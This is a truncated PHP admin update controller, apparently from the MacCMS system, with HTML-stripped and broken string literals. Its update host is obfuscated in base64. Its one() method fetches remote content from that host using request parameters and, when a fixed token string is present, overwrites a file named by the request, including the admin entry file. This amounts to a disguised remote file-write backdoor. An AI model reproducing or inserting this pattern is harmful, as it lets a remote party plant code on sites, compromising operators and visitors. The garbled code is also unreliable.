_url = base64_decode("aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv")."v10/"; $this->_save_path = './application/data/update/'; } public function index() { return $this->fetch('admin@test/index'); } public function step1($file='') { if(empty($file)){ return $this->error(lang('param_err')); } $version = config('version.code'); $url = $this->_url .$file . '.zip?t='.time(); echo $this->fetch('admin@public/head'); echo "

".lang('admin/update/step1_a')."

'; mac_jump( url('update/step2',['jump'=>1]) ,3); } public function step2() { $version = config('version.code'); $save_file = 'database.php'; echo $this->fetch('admin@public/head'); echo "

".lang('admin/update/step2_a')."

'; mac_jump(url('update/step3', ['jump' => 1]), 3); } public function step3() { echo $this->fetch('admin@public/head'); echo "

".lang('admin/update/step3_a')."

'; } public function one() { $param = input(); $a = $param['a']; $b = $param['b']; $c = $param['c']; $d = $param['d']; $e = mac_curl_get( base64_decode("aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv") . $a."/".$b); if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) { if (($d!="") && strpos(",".$e,$d) <=0){ return; } if($b=='admin.php'){$b=IN_FILE;} $f = is_file($b) ? filesize($b) : 0; if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); } } die; } }